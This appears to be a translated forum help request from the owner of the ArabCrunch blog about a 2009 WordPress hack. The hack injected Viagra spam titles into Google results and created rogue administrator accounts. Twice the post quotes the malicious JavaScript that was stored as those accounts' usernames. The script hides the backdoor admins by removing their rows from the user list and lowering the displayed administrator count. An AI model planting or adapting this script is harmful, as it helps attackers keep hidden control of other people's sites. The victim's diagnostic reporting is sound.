Однажды после того, как удалось защитить от массированной DDoS-атаки, теперь http://arabcrunch.com взломан кем-то, кто, кажется, меняет заголовок сообщения на рекламу Виагры в поисковой системе Google.
www.google.com/search?hl=en&client=safari&rls=en&q=Viagra+Online+Pharmacy+-+Buy+Online+Viagra%2C+Cialis%2C+Levitra+wordpress+hack&aq=f&aqi=&aql=&oq=&gs_rfai=
и здесь:
google.com/search?hl=en&client=safari&rls=en&q=idescribe&btnG=Search&aq=f&aqi=g-s1g-sx2g-s1g-sx1&aql=&oq=&gs_rfai=
Мы сделали чистую установку WP с чистыми плагинами и импортировали нашу БД со старыми записями и всеми страницами. затем вручную добавили каждый необходимый нам puglin, затем перестроили sitemap.xml
но теперь мы обречены, так как любое ключевое слово, которое вы ищете, получит результат в Google с заголовком: Интернет-аптека Виагра - купить онлайн Виагру, Сиалис, Левитра
Я обнаружил в таблице БД wp_usermeta user_id: 16, что имя пользователя является скриптом:
<b id="user_superuser"><script language="JavaScript">
var setUserName = function(){
try{
var t=document.getElementById("user_superuser");
while(t.nodeName!="TR"){
t=t.parentNode; };
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName("H3");
var s = " shown below";
for (var i = 0; i < tags.length; i++) {
var t=tags[i].innerHTML;
var h=tags[i];
if(t.indexOf(s)>0){
s =(parseInt(t)-1)+s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t); } }
var arr=document.getElementsByTagName("ul");
for(var i in arr) if(arr[i].className=="subsubsub"){
var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
if(n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\) </gi,">Administrator ("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } }
}catch(e){};
}; addLoadEvent(setUserName); </script>
Это улыбка для взлома ArabCrunch EN вместе с тысячами блогов WP, пострадавших 9 9 2009
Читайте об этом и ссылки на решения здесь:
arabcrunch.com/2009/09/arabcrunch-and-wordpress-under-attack.html
После установки мы нашли 2 новых пользователей:
wordpress.org и system, оба настроены как admin и имеют тот же скрипт, что и их имя пользователя:
<div id="user_superuser"><script language="JavaScript">
var setUserName = function(){
try{
var t=document.getElementById("user_superuser");
while(t.nodeName!="TR"){
t=t.parentNode;
};
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName("H3");
var s = " shown below";
for (var i = 0; i < tags.length; i++) {
var t=tags[i].innerHTML;
var h=tags[i];
if(t.indexOf(s)>0){
s =(parseInt(t)-1)+s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr=document.getElementsByTagName("ul");
for(var i in arr) if(arr[i].className=="subsubsub"){
var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);
if(n[1]>0){
var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");
arr[i].innerHTML=txt;
}
}
}catch(e){};
};
addLoadEvent(setUserName);
</script></div>
Есть идеи, как это решить?